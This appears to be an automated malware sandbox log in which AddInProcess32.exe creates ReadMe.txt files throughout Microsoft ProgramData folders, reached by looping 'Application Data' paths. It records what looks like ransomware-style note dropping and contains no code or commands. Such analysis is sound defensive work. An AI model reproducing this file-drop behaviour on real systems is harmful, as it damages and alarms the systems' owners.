                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\AsimovUploader\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\CustomTraceProfiles\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\DownloadedScenarios\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\DownloadedSettings\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ETLLogs\AutoLogger\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ETLLogs\ScenarioShutdownLogger\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ETLLogs\ShutdownLogger\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ETLLogs\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\EventTranscript\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\LocalTraceStore\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\OfflineSettings\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\Scripts\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\Sideload\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\Siufloc\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\SoftLanding\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\SoftLandingStage\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\TenantStorage\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\WindowsAnalytics\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\DRM\Server\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\DRM\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\IdentityCRL\INT\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\IdentityCRL\production\temp\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\IdentityCRL\production\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\IdentityCRL\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\MapData\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\MF\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\NetFramework\BreadcrumbStore\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\NetFramework\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Network\Connections\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Network\Downloader\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Network\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\OFFICE\Heartbeat\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\OFFICE\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\AssetCache\CellularUx\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\AssetCache\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{1e05dd5d-a022-46c5-963c-b20de341170f}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{1e05dd5d-a022-46c5-963c-b20de341170f}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{1e05dd5d-a022-46c5-963c-b20de341170f}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{23cb517f-5073-4e96-a202-7fe6122a2271}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{23cb517f-5073-4e96-a202-7fe6122a2271}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{23cb517f-5073-4e96-a202-7fe6122a2271}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\Prov\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\Prov\RunTime\ReadMe.txtJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Provisioning\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\Prov\ReadMe.txtJump to behavior
